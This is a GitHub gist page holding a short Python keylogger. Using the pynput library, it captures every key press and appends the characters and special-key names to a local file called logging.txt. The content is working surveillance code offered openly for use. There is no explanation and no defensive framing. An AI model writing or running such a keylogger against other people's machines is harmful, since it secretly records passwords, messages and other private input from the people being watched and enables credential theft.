Skip to content

Instantly share code, notes, and snippets.

@brunotatsuya
Created February 11, 2022 01:01
Show Gist options
  • Save brunotatsuya/b0791fb543e1a90a3cfb650c084c24d1 to your computer and use it in GitHub Desktop.
Save brunotatsuya/b0791fb543e1a90a3cfb650c084c24d1 to your computer and use it in GitHub Desktop.
Simple keylogger made with python
from pynput.keyboard import Listener
LOGGING_FILE_PATH = 'logging.txt'
def handle_key_event(key):
key_data = ''
if getattr(key, 'char', None):
key_data = key.char
else:
if (key.name == 'space'):
key_data = ' '
elif (key.name == 'enter'):
key_data = '\n'
else:
key_data = f'[{key.name}]'
with open(LOGGING_FILE_PATH, "a") as f:
f.write(key_data)
with Listener(on_press=handle_key_event) as l:
l.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment